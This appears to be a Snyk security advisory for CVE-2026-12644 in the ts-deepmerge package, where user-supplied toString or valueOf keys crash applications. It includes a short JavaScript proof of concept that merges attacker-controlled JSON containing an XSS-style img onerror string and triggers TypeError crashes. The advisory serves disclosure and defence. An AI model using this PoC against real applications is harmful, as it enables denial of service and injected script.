Uncaught Exception Affecting org.webjars.npm:ts-deepmerge package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.51% (41st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-17393714
  • published23 Jun 2026
  • disclosed21 May 2026
  • creditIgor Garofano

Introduced: 21 May 2026

CVE-2026-12644  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

org.webjars.npm:ts-deepmerge is an a deep merge function that automatically infers the return type based on your input, without mutating the source objects.

Affected versions of this package are vulnerable to Uncaught Exception due to the improper handling of built-in Object.prototype methods (such as toString, valueOf). When user-controlled input contains these keys with non-function values, the resulting merged object becomes broken — any string context operation throws a TypeError, crashing the application.

PoC

const { merge } = require('ts-deepmerge');

// Attacker-controlled input (e.g. from JSON.parse of user input)
const userInput = JSON.parse('{"toString": "<img src=x onerror=alert(1)>"}');
const config = { title: 'Hello', theme: 'dark' };

const result = merge(config, userInput);

console.log(typeof result.toString); // 'string' — no longer a function

// All of the following crash the application:
`${result}`       // TypeError: Cannot convert object to primitive value
'' + result       // TypeError: Cannot convert object to primitive value
[result].join()   // TypeError: Cannot convert object to primitive value

CVSS Base Scores

version 4.0
version 3.1